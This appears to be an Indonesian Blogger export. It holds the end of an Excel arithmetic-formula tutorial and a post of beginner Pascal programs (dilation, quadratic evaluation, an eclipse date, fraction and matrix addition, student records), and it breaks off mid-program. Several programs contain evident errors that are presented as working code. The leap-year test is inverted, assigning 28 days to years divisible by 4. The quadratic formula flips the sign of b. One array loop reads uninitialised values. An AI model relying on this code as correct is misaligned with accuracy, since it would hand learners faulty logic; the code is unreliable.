di cells C3 maka gunakan rumus =A3+B3<br />Lebih jelasnya rumus excel yang harus diketikan pada cells tersebut adalah sebagai berikut<br /><br />di Cells C3 = A3+B3<br />di Cells C4 = A4+B4<br />di Cells C5 = A5+B5<br />di Cells D3 = A3-B3<br />di Cells D4 = A4-B4<br />di Cells D5 = A5-B5<br />di Cells E3 = A3/B3<br />di Cells E4 = A4/B4<br />di Cells E5 = A5/B5<br />di Cells F3 = A3*B3<br />di Cells F4 = A4*B4<br />di Cells F5 = A5*B5<br /><br />Jika penulisan rumus excel seperti diatas benar maka akan terdapat hasil sebagai berikut<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgn0ld_4by3ukaJ1C9dosiaCM9Gs87BJGbPdhHKBBLraTENIlqkJrgzqIpv8o8mgoY-K8tdg_yBtgIPs34yYueTC6_Sca91aadRKRNBd7PM38d3Aa_Cg8QGd0oG7UpCFzHf6w-MFIKKL-A/s1600/formula+rumus+excel.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5748962671352112866" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgn0ld_4by3ukaJ1C9dosiaCM9Gs87BJGbPdhHKBBLraTENIlqkJrgzqIpv8o8mgoY-K8tdg_yBtgIPs34yYueTC6_Sca91aadRKRNBd7PM38d3Aa_Cg8QGd0oG7UpCFzHf6w-MFIKKL-A/s400/formula+rumus+excel.jpg" style="cursor: hand; cursor: pointer; height: 134px; width: 400px;" /></a><br />demikian bagaimana cara membuat rumus excel pengurangan, penjumlahan, pembagian, dan perkalian semoga bermanfaat.
Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-70070278288783095182012-10-19T22:49:00.002-07:002012-10-19T22:49:28.812-07:00<h3 class="post-title entry-title" itemprop="name">
Kumpulan Source code Sederhana Dalam Bahasa Pascal
</h3>
<div class="post-header">
</div>
<div style="text-align: justify;">
Hampir senada dengan postingan yang <a href="http://komputok.blogspot.com/2010/01/linked-list-dengan-pascal.html">linked list,</a>
Kali ini saya juga akan menshare kumpulan source code program-program
kecil dalam bahasa pascal. Meskipun masih sederhana dan mungkin tidak
cocok untuk programmer yang sudah mapan, tulisan ini saya harap bisa
berguna untuk mereka yang masih atau mau belajar memprogram. Karena
sebelum memahami hal yang rumit, harus paham yang sederhana dulu kan?
Dengan membaca kode-kode pascal yang ada disini, semoga bisa menambah
pemahaman tentang pemprograman.<br />
</div>
<div style="text-align: justify;">
Bila dasar source code yang <a href="http://komputok.blogspot.com/2010/01/linked-list-dengan-pascal.html">Linked Lis</a>t
bukan saya yang membuat, semua yang ada disini adalah kode yang saya
tulis sendiri. Sebagian di kerjakan sebagai jurnal praktikum di kampus,
sebagian tugas dari dosen, dan sisanya adalah hasil iseng-iseng. Jadi,
saya jamin code disini tidak akan di temui di website atau blog lain,
kecuali mereka memplagiat artikel ini. Jadi merasa beruntunglah sudah
kesini, hwahwahwahah (tertawa setan)<br />
</div>
<div style="text-align: justify;">
Silahkan cermati, hayati, lalu komentari. Kalau ada yang kurang jelas, Tanyakanlah…..<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Prosedur dan Fungsi</b></span><br />
</div>
<div style="text-align: justify;">
Di sub judul ini, ada 4 source
code yang mengandung fungsi dan prosedur. Fokus yang ada disini adalah
bukan mengenai bagaimana isi prosedur itu, tapi lebih ke bagaimana
penggunaan fungsi dan prosedur itu. Tentang bagaimana deklarasinya,
penerapan parameter, pemanggilannya dan sebagainya… Contoh disini
dimulai dari yang paling sederhana hingga yang lebih ribet sedikit…..<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Dilatasi</b><br />
</div>
<div style="text-align: justify;">
Fungsi : Mengalikan dua buah angka yang dimasukan dengan angka tertentu.<br />
</div>
<div style="text-align: justify;">
Hint<span style="white-space: pre;"> </span>: -<br />
</div>
<div style="text-align: justify;">
Screenshot Output:<br />
</div>
<div style="text-align: justify;">
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRbzUtkysdalvUYnQUN-Ixywy65duDdTZhqORMkFG07-seexwFAQXnrrIfDQMdsqeM0mRvHyCl9Vat4LZuhJO5w8WUPSibLkfHJZQCIi4nCaUqPTizTsiIDRLbjNGSoCpdTyrLSBZSjh45/s1600-h/Dilatasi.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRbzUtkysdalvUYnQUN-Ixywy65duDdTZhqORMkFG07-seexwFAQXnrrIfDQMdsqeM0mRvHyCl9Vat4LZuhJO5w8WUPSibLkfHJZQCIi4nCaUqPTizTsiIDRLbjNGSoCpdTyrLSBZSjh45/s400/Dilatasi.jpg" /></a><br />
</div>
<br />
<div id="code">
<div style="text-align: justify;">
<span style="color: lime;">uses crt;</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;">var absis,ordinat,pengali:integer;</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;">procedure dilat(a,b,peng:integer);</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"> var c,d:integer;</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"> begin</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"> c:=a*peng;</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"> d:=b*peng;</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"> writeln('(',c,',',d,')');</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"> <span style="white-space: pre;"> </span>end;</span>
</div>
<div style="text-align: justify;">
<span style="color: lime;">begin</span><br />
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;">writeln('Kordinat Awal');</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> write('Absis : ');readln(absis);</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> write('Ordinat : ');readln(ordinat);</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> writeln;</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> write('masukan faktor pengali ');readln(pengali);</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> write('Kordinat (',absis,',',ordinat,') setelah didilatasikan terhadap faktor ',pengali,' menjadi ');</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> dilat(absis,ordinat,pengali);</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;"> readln;</span></span>
</div>
<div style="text-align: justify;">
<span style="color: lime;"><span style="background-color: lime;">end.</span></span><br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Mencari Penyelesaian Fungsi Kuadrat</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi : Mengitung nilai persamaan kuadrat bila nilai x diketahui<br />
</div>
<div style="text-align: justify;">
Hint: Masukan nilai a,b,c dan nilai x.<br />
</div>
<div style="text-align: justify;">
Screen Shot :<br />
</div>
<div style="text-align: justify;">
<br />
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTH1iOfufS_qr-EEsPdIwHvZy3B3B_NGNIRqNzg8cU9z8Qc3nZM1-eqRy4Vs0d_8YXoayYqq5r0yWkcGzc-do5e1N7GA-3O-fdWT_NflykNRYGAc9FYjslVaiEAwZDUoBzjKlm4aXfhT9k/s1600-h/Funsikuadrat.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTH1iOfufS_qr-EEsPdIwHvZy3B3B_NGNIRqNzg8cU9z8Qc3nZM1-eqRy4Vs0d_8YXoayYqq5r0yWkcGzc-do5e1N7GA-3O-fdWT_NflykNRYGAc9FYjslVaiEAwZDUoBzjKlm4aXfhT9k/s320/Funsikuadrat.jpg" /></a><br />
</div>
</div>
</div>
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var x,y,z,s:integer;<br />
</div>
<div style="text-align: justify;">
function fungsi(a,b,c,x:integer):integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
fungsi:=a*(x*x)-b*x+c;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
write('masukan a : ');readln(x);<br />
</div>
<div style="text-align: justify;">
write('masukan b : ');readln(y);<br />
</div>
<div style="text-align: justify;">
write('masukan c : ');readln(z);<br />
</div>
<div style="text-align: justify;">
write('masukan x : ');readln(s);<br />
</div>
<div style="text-align: justify;">
writeln('f(x)=',x,'(x^',x,'2)-',y,'x+',z);<br />
</div>
<div style="text-align: justify;">
writeln('f(',s,') =',fungsi(x,y,z,s));<br />
</div>
<div style="text-align: justify;">
readln;<br />
</div>
<div style="text-align: justify;">
end.</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Menghitung Waktu Gerhana</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi : Menghitung tanggal gerhana pada bulan tertentu dengan rumus yang sudah ada.<br />
</div>
<div style="text-align: justify;">
Hint: Sebenarnya intinya hanya
membuat prosedur yang menampilkan jumlah hari dalam bulan
tertentu..waktu gerhana ini sebagai tambahan saja.<br />
</div>
<div style="text-align: justify;">
Screen Shot :<br />
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCcZoCymj-z4i7GVLK0tZYUasIU07xbLX2EQ1nX2N-yYCQ_n03AzXBa8hlzkKFb5gXYEbl9NewVMpMk5_lF_s9z4xPZw7XwhkeZTL519bC1j1V1zEQKa9REY9jf_KtEVDeAcsyssdEuGAB/s1600-h/Gerhana.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCcZoCymj-z4i7GVLK0tZYUasIU07xbLX2EQ1nX2N-yYCQ_n03AzXBa8hlzkKFb5gXYEbl9NewVMpMk5_lF_s9z4xPZw7XwhkeZTL519bC1j1V1zEQKa9REY9jf_KtEVDeAcsyssdEuGAB/s320/Gerhana.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var b,ha,ger:integer;<br />
</div>
<div style="text-align: justify;">
bul:string;<br />
</div>
<div style="text-align: justify;">
procedure maks(s:integer);<br />
</div>
<div style="text-align: justify;">
var y,k:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
case s of<br />
</div>
<div style="text-align: justify;">
1,3,5,7,8,10,12:ha:=31;<br />
</div>
<div style="text-align: justify;">
4,6,9,11:ha:=30;<br />
</div>
<div style="text-align: justify;">
2:begin<br />
</div>
<div style="text-align: justify;">
write('masukan tahun ');readln(y);<br />
</div>
<div style="text-align: justify;">
k:=y mod 4;<br />
</div>
<div style="text-align: justify;">
if k=0 then<br />
</div>
<div style="text-align: justify;">
ha:=28<br />
</div>
<div style="text-align: justify;">
else ha:=29;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
else writeln('Bulan salah!!!');readln;exit;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
procedure hitung(bee:integer);<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
ger:=bee-(2*b);<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
write('masukan bulan ke- :');readln(b);<br />
</div>
<div style="text-align: justify;">
maks(b);<br />
</div>
<div style="text-align: justify;">
hitung(ha);<br />
</div>
<div style="text-align: justify;">
write('Gerhana bulan ');<br />
</div>
<div style="text-align: justify;">
case b of<br />
</div>
<div style="text-align: justify;">
1 : WRITE('Januari');<br />
</div>
<div style="text-align: justify;">
2:WRITE('Februari');<br />
</div>
<div style="text-align: justify;">
3:WRITE('Maret');<br />
</div>
<div style="text-align: justify;">
4:WRITE('April');<br />
</div>
<div style="text-align: justify;">
5:WRITE('Mei');<br />
</div>
<div style="text-align: justify;">
6:WRITE('Juni');<br />
</div>
<div style="text-align: justify;">
7:write('Juli');<br />
</div>
<div style="text-align: justify;">
8:WRITE('Agustus');<br />
</div>
<div style="text-align: justify;">
9:write('September');<br />
</div>
<div style="text-align: justify;">
10:write('Oktober');<br />
</div>
<div style="text-align: justify;">
11:WRITE('November');<br />
</div>
<div style="text-align: justify;">
12:WRITE('desemberrrr');<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
writeln(' terjadi pada hari ke-',ger);<br />
</div>
<div style="text-align: justify;">
readln;<br />
</div>
<div style="text-align: justify;">
end.</div>
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Penjumlah Pecahan</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi : Menjumlahkan 2 buah pecahan.<br />
</div>
<div style="text-align: justify;">
Hint: Tinggal masukan saja penyebut dan pembilang.<br />
</div>
<div style="text-align: justify;">
Screenshot :<br />
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEKXhMeNYA2w-CBj-KJzmNsytt60ZZHZ7JlLW3yv7oSINOGtyKGULE3KVWLUL3hnsjJHoAG1cKClnAQMxi6i43OPs7tl_QU7zk7lGcs3yeqeiUY56SceRGyO1RxkNWX-o-z0NGdHBdhnDZ/s1600-h/penjumlahpecahan.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEKXhMeNYA2w-CBj-KJzmNsytt60ZZHZ7JlLW3yv7oSINOGtyKGULE3KVWLUL3hnsjJHoAG1cKClnAQMxi6i43OPs7tl_QU7zk7lGcs3yeqeiUY56SceRGyO1RxkNWX-o-z0NGdHBdhnDZ/s320/penjumlahpecahan.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var pemi,pemII,penyi,penyII:integer;<br />
</div>
<div style="text-align: justify;">
j,k:integer;<br />
</div>
<div style="text-align: justify;">
function pemb(a,c:integer):integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
j:=penyii;<br />
</div>
<div style="text-align: justify;">
k:=penyi;<br />
</div>
<div style="text-align: justify;">
pemb:=a*j+k*c;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
function peny(b,d:integer):integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
peny:=b*d;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
writeln('Pecahan 1 ');<br />
</div>
<div style="text-align: justify;">
write('Pembilang i :');readln(pemi);<br />
</div>
<div style="text-align: justify;">
write('Penyebut i :');readln(penyI);<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
write('Pecahan 2 ');<br />
</div>
<div style="text-align: justify;">
write('Pembilang ii :');readln(pemII);<br />
</div>
<div style="text-align: justify;">
write('Penyebut II: ');readln(penyII);<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
writeln('maka hasil dari
pertambahan ',pemi,'/',penyI,'+',pemii,'/',penyII,' adalah
',pemb(pemi,pemii),'/',peny(penyi,penyii));<br />
</div>
<div style="text-align: justify;">
readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>ARRAY</b></span><br />
</div>
<div style="text-align: justify;">
Setelah prosedur dan fungsi,
beralih ke Array. Karena sudah masuk ke array, kode-kode yang sini
mungkin terlihat lebih rumit dari sebelumnya…<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Mencari angka kelipatan 3</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi :Mencari angka kelipatan 3 dari sekumpulan angka yang diinputkan.<br />
</div>
<div style="text-align: justify;">
Hint: Masukan angka dan masukan -1 untuk berhenti, otomatis hasil akan ditampilkan.<br />
</div>
<div style="text-align: justify;">
Screen Shot :<br />
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8yt58No0ua0yfJxKiEHAdLWhdT2xeaRMQEddWkZDqVmA14nXUm4yGziP518L2pAMlneA5EAZtWuZKrTldm6D0MrZF7SMDTHpPRt7YGq6YgCGseNiBlJp4SwmldySvcJscNJq5Q5w7dHTj/s1600-h/kelipatan3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8yt58No0ua0yfJxKiEHAdLWhdT2xeaRMQEddWkZDqVmA14nXUm4yGziP518L2pAMlneA5EAZtWuZKrTldm6D0MrZF7SMDTHpPRt7YGq6YgCGseNiBlJp4SwmldySvcJscNJq5Q5w7dHTj/s320/kelipatan3.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var a,b:array[1..10] of integer;<br />
</div>
<div style="text-align: justify;">
i,j,k,l:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
{memasukan angka}<br />
</div>
<div style="text-align: justify;">
j:=1;<br />
</div>
<div style="text-align: justify;">
repeat<br />
</div>
<div style="text-align: justify;">
write('angka ke-',j,': ');readln(a[j]);<br />
</div>
<div style="text-align: justify;">
j:=j+1;<br />
</div>
<div style="text-align: justify;">
until a[j-1]=-1;<br />
</div>
<div style="text-align: justify;">
{menentukan mana yang kelipatan 3}<br />
</div>
<div style="text-align: justify;">
for k:=1 to j do<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
if a[k] mod 3=0 then<br />
</div>
<div style="text-align: justify;">
b[k]:=a[k];<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>{Menampilkan mana yang kelipatan tiga}<br />
</div>
<div style="text-align: justify;">
write('angka kelipatan 3 adalah : ');<br />
</div>
<div style="text-align: justify;">
for i:=1 to (j-1) do<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
if b[i]<>0 then<br />
</div>
<div style="text-align: justify;">
write(b[i],', ');<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Penjumlah Matrix</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi : Menjumlahkan dua matriks 3x3 yang diinputkan<br />
</div>
<div style="text-align: justify;">
Hint: Masukan nilai matriks di tiap-tiap baris dan kolom.<br />
</div>
<div style="text-align: justify;">
Screen Shot :<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkv4rRHuujWPlO_qdVbczFIylgD6gT2uinhWW0YEc6SZGGiFI4HaUMWI49zoszfUJlq9T62yn9UL2fm57KcIobDZsrDyhgDqsg-e0r7l-yyXdvhJ2w2lBBbTjATpNBTjMbQ2OMCqNhFHLi/s1600-h/penjumlahmatriks.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkv4rRHuujWPlO_qdVbczFIylgD6gT2uinhWW0YEc6SZGGiFI4HaUMWI49zoszfUJlq9T62yn9UL2fm57KcIobDZsrDyhgDqsg-e0r7l-yyXdvhJ2w2lBBbTjATpNBTjMbQ2OMCqNhFHLi/s320/penjumlahmatriks.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var m1,m2,mp:array[1..10,1..10] of integer;<br />
</div>
<div style="text-align: justify;">
i,j,k,l:integer;<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
{Menginput nilai matriks}<br />
</div>
<div style="text-align: justify;">
writeln('Matriks ke 1');<br />
</div>
<div style="text-align: justify;">
for i:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
for j:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
write('m1[',i,',',j,'] : ');readln(m1[i,j]);<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
writeln('Matriks ke 2');<br />
</div>
<div style="text-align: justify;">
for i:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
for j:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
write('m2[',i,',',j,'] : ');readln(m2[i,j]);<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
{jumlahkan}<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
for i:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
for j:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
mp[i,j]:=m1[i,j]+m2[i,j];<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
{lukis hasil penjumlahan}<br />
</div>
<div style="text-align: justify;">
writeln('Hasil Penambahan = ');<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
for i:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
writeln;<br />
</div>
<div style="text-align: justify;">
for j:=1 to 3 do<br />
</div>
<div style="text-align: justify;">
write(mp[i,j],' ');<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
readln;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Pendata Mahasiswa</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi: Mendata data mahasiswa, atau apalah dengan array dan menampilkannya.<br />
</div>
<div style="text-align: justify;">
Hint: Intinya adalah membuat array di record.<br />
</div>
<div style="text-align: justify;">
Screen shot :<br />
<br />
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_PrLi951OcJd3A06e-vgSplu8qSF06O_lYa9sl6KXLCL1UX1lxS0DbHnBp80LPCdWauyA4aek-zFFAH7cDq676gwehMmPPW5QPLEwRtyXD-PNFD8Fq9PUyZYzn90U13Lg4hxi_6J4z7j/s1600-h/data+mahasiswa.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_PrLi951OcJd3A06e-vgSplu8qSF06O_lYa9sl6KXLCL1UX1lxS0DbHnBp80LPCdWauyA4aek-zFFAH7cDq676gwehMmPPW5QPLEwRtyXD-PNFD8Fq9PUyZYzn90U13Lg4hxi_6J4z7j/s320/data+mahasiswa.jpg" /></a><br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
program mhsw;<br />
</div>
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
type mahasiswa=record<br />
</div>
<div style="text-align: justify;">
nama,nim,kelas:string;<br />
</div>
<div style="text-align: justify;">
end;<br />
</div>
<div style="text-align: justify;">
var m:array[1..41] of mahasiswa;<br />
</div>
<div style="text-align: justify;">
j,i:integer;<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>write('Jumlah mahasiswa yang mendaftar : ');readln(j);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>clrscr;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for i:=1 to j do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln('Mahasiswa ',i,':');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> write('Nama : ');readln(m[i].nama);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> write('Nim : ');readln(m[i].nim);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> write('Kelas : ');readln(m[i].kelas);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>clrscr;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln('==================================');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln('DATA MAHASISWA KOMPUTOK');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>writeln('==================================');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>for i:=1 to j do<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>begin<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> <span style="white-space: pre;"> </span>writeln('Mahasiswa ',i,':');<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln('Nama : ',m[i].nama);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln('Nim : ',m[i].nim);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln('Kelas : ',m[i].kelas);<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span> writeln;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>end;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>readln;<br />
</div>
<div style="text-align: justify;">
end.<br />
</div>
</div>
<div style="text-align: justify;">
<br />
</div>
<br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
<b>Tabel Ajaib</b><br />
</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
Fungsi : Membuat tabel angka yang apabila nilai tabel dalam satu baris, kolom, dan diagonal di jumlahkan hasilnya akan sama.<br />
</div>
<div style="text-align: justify;">
Hint: jangan terlalu heran, semua sudah ada rumusnya. Tinggal masukan angka-angka saja.<br />
</div>
<div style="text-align: justify;">
Screen Shot :<br />
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmk6dUnBzKfLFX3cE9kZkChrQvOgYIPlifU6zjDcmotNzIsquzjCXbSQDRwkM4Qk3ABNJVKTx1AfHp_H1rtDnyQ3o4cqXx8L4rsoy0RFcaEdW7VyM0BVZ90XyFeXAXeixCavqqZQ-azTcL/s1600-h/Tabel+Ajaib.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmk6dUnBzKfLFX3cE9kZkChrQvOgYIPlifU6zjDcmotNzIsquzjCXbSQDRwkM4Qk3ABNJVKTx1AfHp_H1rtDnyQ3o4cqXx8L4rsoy0RFcaEdW7VyM0BVZ90XyFeXAXeixCavqqZQ-azTcL/s320/Tabel+Ajaib.jpg" /></a><br />
</div>
<br />
<br />
</div>
<div style="text-align: justify;">
<br />
<div id="code">
<div style="text-align: justify;">
uses crt;<br />
</div>
<div style="text-align: justify;">
var a,b,c,d,w,x,y,z,i,j:integer;<br />
</div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>tab:array[1..4,1..4] of integer;<br />
</div>
<div style="text-align: justify;">
